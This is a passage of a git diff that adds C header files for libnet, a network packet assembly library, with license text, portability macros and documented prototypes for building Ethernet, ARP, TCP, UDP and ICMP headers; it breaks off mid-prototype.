(LBL) */ + +/* Define __P() macro, if necessary */ +#ifndef __P +#if __STDC__ +#define __P(protos) protos +#else +#define __P(protos) () +#endif +#endif + +/* inline foo */ +#ifdef __GNUC__ +#define inline __inline +#else +#define inline +#endif + +/* + * Handle new and old "dead" routine prototypes + * + * For example: + * + * __dead void foo(void) __attribute__((volatile)); + * + */ +#ifdef __GNUC__ +#ifndef __dead +#define __dead volatile +#endif +#if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) +#ifndef __attribute__ +#define __attribute__(args) +#endif +#endif +#else +#ifndef __dead +#define __dead +#endif +#ifndef __attribute__ +#define __attribute__(args) +#endif +#endif diff --git a/libnet/include/ifaddrlist.h b/libnet/include/ifaddrlist.h new file mode 100644 index 0000000..4c0dca6 --- /dev/null +++ b/libnet/include/ifaddrlist.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +struct ifaddrlist +{ +#if (HAVE_SOLARIS || HAVE_HPUX11) + u_int addr; +#else + u_int32_t addr; +#endif + int8_t *device; +}; + +struct libnet_ifaddr_list +{ + u_int32_t addr; + int8_t *device; +}; + +int +ifaddrlist( + struct ifaddrlist **, + int8_t * + ); + + +int +set_up_interface( + struct sockaddr_in **, + u_int8_t ** + ); + +/* EOF */ diff --git a/libnet/include/libnet.h.in b/libnet/include/libnet.h.in new file mode 100644 index 0000000..92ed198 --- /dev/null +++ b/libnet/include/libnet.h.in @@ -0,0 +1,133 @@ +/* + * $Id: libnet.h.in,v 1.5 2004/01/17 07:51:19 mike Exp $ + * + * libnet.h - Network routine library header file + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_H +#define __LIBNET_H +/** + * @file libnet.h + * @brief toplevel libnet header file + */ + +/** + * @mainpage Libnet Packet Assembly Library + * + * @section intro Overview + * + * Libnet is a high-level API (toolkit) allowing the application programmer to + * construct and inject network packets. It provides a portable and simplified + * interface for low-level network packet shaping, handling and injection. + * Libnet hides much of the tedium of packet creation from the application + * programmer such as multiplexing, buffer management, arcane packet header + * information, byte-ordering, OS-dependent issues, and much more. Libnet + * features portable packet creation interfaces at the IP layer and link layer, + * as well as a host of supplementary and complementary functionality. Using + * libnet, quick and simple packet assembly applications can be whipped up with + * little effort. With a bit more time, more complex programs can be written + * (Traceroute and ping were easily rewritten using libnet and + * <a href="www.tcpdump.org">libpcap</a>). + */ + +#ifdef __cplusplus +extern "C" { +#endif + +#define _GNU_SOURCE +#include <stdio.h> +#include <string.h> +#include <unistd.h> +#include <fcntl.h> +#include <signal.h> +#include <stdlib.h> +#if !defined(__WIN32__) +#include <sys/ioctl.h> +#endif /* __WIN32__ */ +#if defined(HAVE_SYS_SOCKIO_H) && !defined(SIOCGIFADDR) +#include <sys/sockio.h> +#endif +#include <sys/stat.h> +#include <sys/types.h> +#include <ctype.h> +#if !defined(__WIN32__) +#include <sys/socket.h> +#include <netinet/in.h> +#include <netinet/in_systm.h> +#include <netinet/ip.h> +#include <net/if.h> +#else /* __WIN32__ */ +#if (__CYGWIN__) +#include <sys/socket.h> +#endif +#include <ws2tcpip.h> +#include <windows.h> +#include <winsock2.h> +#include <win32/in_systm.h> +#endif /* __WIN32__ */ +#if !(__linux__) && !(__WIN32__) && !(__APPLE__) && !(__CYGWIN__) +#include <netinet/ip_var.h> +#else /* __linux__ */ +#if (HAVE_NET_ETHERNET_H) +#include <net/ethernet.h> +#endif /* HAVE_NET_ETHERNET_H */ +#endif /* __linux__ */ +#if !defined(__WIN32__) +#include <netinet/tcp.h> +#include <netinet/udp.h> +#if (__linux__) && !(__GLIBC__) +/* we get multiple definitions of IGMP_AGE_THRESHOLD if we include netinet */ +#include <linux/igmp.h> +#else +#include <netinet/igmp.h> +#endif +#include <arpa/inet.h> +#include <sys/time.h> +#include <netdb.h> +#endif /* __WIN32__ */ +#include <errno.h> +#include <stdarg.h> + +#define LIBNET_VERSION "@PACKAGE_VERSION@" + +#define @ENDIANESS@ 1 + +#include "./libnet/libnet-types.h" +#include "./libnet/libnet-macros.h" +#include "./libnet/libnet-headers.h" +#include "./libnet/libnet-structures.h" +#include "./libnet/libnet-asn1.h" +#include "./libnet/libnet-functions.h" + +#ifdef __cplusplus +} +#endif + +#endif /* __LIBNET_H */ + +/* EOF */ diff --git a/libnet/include/libnet/.#libnet-functions.h.1.28 b/libnet/include/libnet/.#libnet-functions.h.1.28 new file mode 100644 index 0000000..303f591 --- /dev/null +++ b/libnet/include/libnet/.#libnet-functions.h.1.28 @@ -0,0 +1,1582 @@ +/* + * $Id: libnet-functions.h,v 1.28 2004/01/15 20:11:15 mike Exp $ + * + * libnet-functions.h - function prototypes + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_FUNCTIONS_H +#define __LIBNET_FUNCTIONS_H +/** + * @file libnet-functions.h + * @brief libnet exported function prototypes + */ + +/** + * Creates the libnet environment. It initializes the library and returns a + * libnet context. If the injection_type is LIBNET_LINK, the function + * initializes the injection primitives for the link-layer interface enabling + * the application programmer to build packets starting at the data-link layer + * (which also provides more granular control over the IP layer). If libnet + * uses the link-layer and the device argument is non-NULL, the function + * attempts to use the specified network device for packet injection. This + * is either a int16_t canonical string that references the device (such as + * "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB Ethernet + * card on OpenBSD) or the dots and decimals representation of the device's + * IP address (192.168.0.1). If device is NULL, libnet attempts to find a + * suitable device to use. If the injection_type is LIBNET_RAW4, the function + * initializes the injection primitives for the IPv4 raw socket interface. The + * final argument, err_buf, should be a buffer of size LIBNET_ERRBUF_SIZE and + * holds an error message if the function fails. This function requires root + * privileges to execute successfully. Upon success, the function returns a + * valid libnet context for use in later function calls; upon failure, the + * function returns NULL. + * @param injection_type packet injection type (Add these later) + * @param device the interface to use (NULL and libnet will choose one) + * @param err_buf will contain an error message on failure + * @return libnet context ready for use or NULL on error. + */ +libnet_t * +libnet_init(int injection_type, char *device, char *err_buf); + +/** + * Shuts down the libnet session referenced by l. It closes the network + * interface and frees all internal memory structures associated with l. + * @param l pointer to a libnet context + */ +void +libnet_destroy(libnet_t *l); + +/** + * Clears the current packet referenced and frees all pblocks. Should be + * called when the programmer want to send a completely new packet of + * a different type using the same context. + * @param l pointer to a libnet context + */ +void +libnet_clear_packet(libnet_t *l); + +/** + * Fills in a libnet_stats structure with packet injection statistics + * (packets written, bytes written, packet sending errors). + * @param l pointer to a libnet context + * @param ls pointer to a libnet statistics structure + */ +void +libnet_stats(libnet_t *l, struct libnet_stats *ls); + +/** + * Returns the FILENO of the file descriptor used for packet injection. + * @param l pointer to a libnet context + * @return the file number of the file descriptor used for packet injection + */ +int +libnet_getfd(libnet_t *l); + +/** + * Returns the canonical name of the device used for packet injection. + * @param l pointer to a libnet context + * @return the canonical name of the device used for packet injection. Note + * it can be NULL without being an error. + */ +int8_t * +libnet_getdevice(libnet_t *l); + +/** + * Returns the pblock buffer contents for the specified ptag; a + * subsequent call to libnet_getpbuf_size() should be made to determine the + * size of the buffer. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @return a pointer to the pblock buffer or NULL on error + */ +u_int8_t * +libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag); + +/** + * Returns the pblock buffer size for the specified ptag; a + * previous call to libnet_getpbuf() should be made to pull the actual buffer + * contents. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @return the size of the pblock buffer + */ +u_int32_t +libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag); + +/** + * Returns the last error set inside of the referenced libnet context. This + * function should be called anytime a function fails or an error condition + * is detected inside of libnet. + * @param l pointer to a libnet context + * @return an error string or NULL if no error has occured + */ +char * +libnet_geterror(libnet_t *l); + +/** + * Seeds the psuedo-random number generator. + * @param l pointer to a libnet context + * @return 1 on success, -1 on failure + */ +int +libnet_seed_prand(libnet_t *l); + +/** + * Generates an unsigned psuedo-random value within the range specified by + * mod. + * LIBNET_PR2 0 - 1 + * LIBNET_PR8 0 - 255 + * LIBNET_PR16 0 - 32767 + * LIBNET_PRu16 0 - 65535 + * LIBNET_PR32 0 - 2147483647 + * LIBNET_PRu32 0 - 4294967295 + * + * @param mod one the of LIBNET_PR* constants + * @return 1 on success, -1 on failure + */ +u_int32_t +libnet_get_prand(int mod); + +/** + * If a given protocol header is built with the checksum field set to "0", by + * default libnet will calculate the header checksum prior to injection. If the + * header is set to any other value, by default libnet will not calculate the + * header checksum. To over-ride this behavior, use libnet_toggle_checksum(). + * Switches auto-checksumming on or off for the specified ptag. If mode is set + * to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum + * for the ptag prior to injection. This assumes that the ptag refers to a + * protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet + * will clear the checksum flag and no checksum will be computed prior to + * injection. This assumes that the programmer will assign a value (zero or + * otherwise) to the checksum field. Often times this is useful if a + * precomputed checksum or some other predefined value is going to be used. + * Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header + * checksum will always be computed by the kernel prior to injection, + * regardless of what the programmer sets. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @param mode LIBNET_ON or LIBNET_OFF + * @return 1 on success, -1 on failure + */ +int +libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode); + +/** + * Takes a network byte ordered IPv4 address and returns a pointer to either a + * canonical DNS name (if it has one) or a string of dotted decimals. This may + * incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If + * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and + * the function will return a pointer to a dotted decimal string. The function + * cannot fail -- if no canonical name exists, it will fall back on returning + * a dotted decimal string. This function is non-reentrant. + * @param in network byte ordered IPv4 address + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return a pointer to presentation format string + */ +char * +libnet_addr2name4(u_int32_t in, u_int8_t use_name); + +/** + * Takes a dotted decimal string or a canonical DNS name and returns a + * network byte ordered IPv4 address. This may incur a DNS lookup if mode is + * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode + * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can + * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and + * host_name refers to a canonical DNS name. + * @param l pointer to a libnet context + * @param host_name pointer to a string containing a presentation format host + * name + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return network byte ordered IPv4 address or -1 (2^32 - 1) on error + */ +u_int32_t +libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name); + +extern const struct libnet_in6_addr in6addr_error; + +/** + * Takes a dotted decimal string or a canonical DNS name and returns a + * network byte ordered IPv6 address. This may incur a DNS lookup if mode is + * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode + * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can + * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and + * host_name refers to a canonical DNS name. + * @param l pointer to a libnet context + * @param host_name pointer to a string containing a presentation format host + * name + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return network byte ordered IPv6 address structure + */ +struct libnet_in6_addr +libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name); + +/** + * Should document this baby right here. + */ +void +libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name, +char *host_name, int host_name_len); + +/** + * Creates a new port list. Port list chains are useful for TCP and UDP-based + * applications that need to send packets to a range of ports (contiguous or + * otherwise). The port list chain, which token_list points to, should contain + * a series of int8_tacters from the following list: "0123456789,-" of the + * general format "x - y, z", where "xyz" are port numbers between 0 and + * 65,535. plist points to the front of the port list chain list for use in + * further libnet_plist_chain() functions. Upon success, the function returns + * 1. Upon failure, the function returns -1 and libnet_geterror() can tell you + * why. + * @param l pointer to a libnet context + * @param plist if successful, will refer to the portlist, if not, NULL + * @param token_list string containing the port list primitive + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list); + +/** + * Returns the next port list chain pair from the port list chain plist. bport + * and eport contain the starting port number and ending port number, + * respectively. Upon success, the function returns 1 and fills in the port + * variables; however, if the list is empty, the function returns 0 and sets + * both port variables to 0. Upon failure, the function returns -1. + * @param plist previously created portlist + * @param bport will contain the beginning port number or 0 + * @param eport will contain the ending port number or 0 + * @return 1 on success, 0 if empty, -1 on failure + */ +int +libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport, +u_int16_t *eport); + +/** + * Runs through the port list and prints the contents of the port list chain + * list to stdout. + * @param plist previously created portlist + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_dump(libnet_plist_t *plist); + +/** + * Runs through the port list and prints the contents of the port list chain + * list to string. This function uses strdup and is not re-entrant. It also + * has a memory leak and should not really be used. + * @param plist previously created portlist + * @return a printable string containing the port list contents on success + * NULL on error + */ +char * +libnet_plist_chain_dump_string(libnet_plist_t *plist); + +/** + * Frees all memory associated with port list chain. + * @param plist previously created portlist + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_free(libnet_plist_t *plist); + +/** + *\section PBF Packet Builder Functions + * + * The core of libnet is the platform-independent packet-building + * functionality. These functions enable an application programmer to build + * protocol headers (and data) in a simple and consistent manner without having + * to worry (too much) about low-level network odds and ends. Each + * libnet_build() function builds a piece of a packet (generally a protocol + * header). While it is perfectly possible to build an entire, + * ready-to-transmit packet with a single call to a libnet_build() function, + * generally more than one builder-class function call is required to construct + * a full packet. A complete wire-ready packet generally consists of more than + * one piece. + * Every function that builds a protocol header takes a series of arguments + * roughly corresponding to the header values as they appear on the wire. This + * process is intuitive but often makes for functions with huge prototypes and + * large stack frames. + * One important thing to note is that you must call these functions in order, + * corresponding to how they should appear on the wire (from the highest + * protocol layer on down). This building process is intuitive; it approximates + * what happens in an operating system kernel. In other words, to build a + * Network Time Protocol (NTP) packet by using the link-layer interface, the + * application programmer would call the libnet_build() functions in the + * following order: + * 1. libnet_build_ntp() + * 2. libnet_build_udp() + * 3. libnet_build_ipv4() + * 4. libnet_build_ethernet() + * This ordering is essential for libnet 1.1.x to properly link together the + * packet internally (previous libnet versions did not have the requirement). + * + *\subsection TPI The Payload Interface + * + * The payload interface specifies an optional way to include data directly + * after the protocol header in question. You can use this function for a + * variety of purposes, including the following: + * - Including additional or arbitrary protocol header information that is not + * available from a libnet interface + * - Including a packet payload (data segment) + * - Building another protocol header that is not available from a libnet + * interface + * To employ the interface, the application programmer should construct the i + * payload data and pass a u_int8_t * to this data and its size to the desired + * libnet_build() function. Libnet handles the rest. + * + *\subsection PT Protocol Tags and Packet Builder Return Values + * + * Libnet uses the protocol tag (ptag) to identify individual pieces of a + * packet after being created. A new ptag results every time a libnet_build() + * function with an empty (0) ptag argument completes successfully. This new + * ptag now refers to the packet piece just created. The application + * programmer's responsibility is to save this value if he or she plans to + * modify this particular portion later on in the program. If the application + * programmer needs to modify some portion of that particular packet piece + * again, he or she calls the same libnet_build() function specifying the + * saved ptag argument. Libnet then searches for that packet piece and modifies + * it rather than creating a new one. Upon failure for any reason, + * libnet_build() functions return -1; libnet_geterror()tells you why. + */ + +/** + * Builds an IEEE 802.1q VLAN tagging header. Depending on the value of + * len_proto, the function wraps the 802.1q header inside either an IEEE 802.3 + * header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte + * frame). If len is 1500 or less, most receiving protocol stacks parse the + * frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type + * values, most protocol stacks parse the frame as an RFC 894 Ethernet II + * encapsulated frame. Note the length value is calculated without the 802.1q + * header of 18 bytes. + * @param dst pointer to a six byte source ethernet address + * @param src pointer to a six byte destination ethernet address + * @param tpi tag protocol identifier + * @param priority priority + * @param cfi canonical format indicator + * @param vlan_id vlan identifier + * @param len_proto length (802.3) protocol (Ethernet II) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi, +u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.1x extended authentication protocol header. + * @param eap_ver the EAP version + * @param eap_type the EAP type + * @param length frame length + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.2 LLC header. + * @param dsap destination service access point + * @param ssap source service access point + * @param control control field + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.2 LLC SNAP header. + * @param dsap destination service access point + * @param ssap source service access point + * @param control control field + * @param oui Organizationally Unique Identifier + * @param type upper layer protocol + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.3 header. The 802.3 header is almost identical to the + * RFC 894 Ethernet II header, the exception being that the field immediately + * following the source address holds the frame's length (as opposed to the + * layer 3 protocol). You should only use this function when libnet is + * initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param src source ethernet address + * @param len frame length sans header + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an Ethernet header. The RFC 894 Ethernet II header is almost + * identical to the IEEE 802.3 header, with the exception that the field + * immediately following the source address holds the layer 3 protocol (as + * opposed to frame's length). You should only use this function when + * libnet is initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param src source ethernet address + * @param type upper layer protocol type + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost + * identical to the IEEE 802.3 header, with the exception that the field + * immediately following the source address holds the layer 3 protocol (as + * opposed to frame's length). You should only use this function when + * libnet is initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param type upper layer protocol type + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l); + +/** + * @param fc class format and priority + * @oaram dst destination fddi address + * @oaram src source fddi address + * @param dsap destination service access point + * @param ssap source service access point + * @param cf cf + * @param org IEEE organizational code + * @param type upper layer protocol + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, +u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, +u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, +u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, +u_int8_t *tpa, libnet_t *l); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, +u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, +u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, +u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, +u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, +u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, +u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, +u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, +u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, 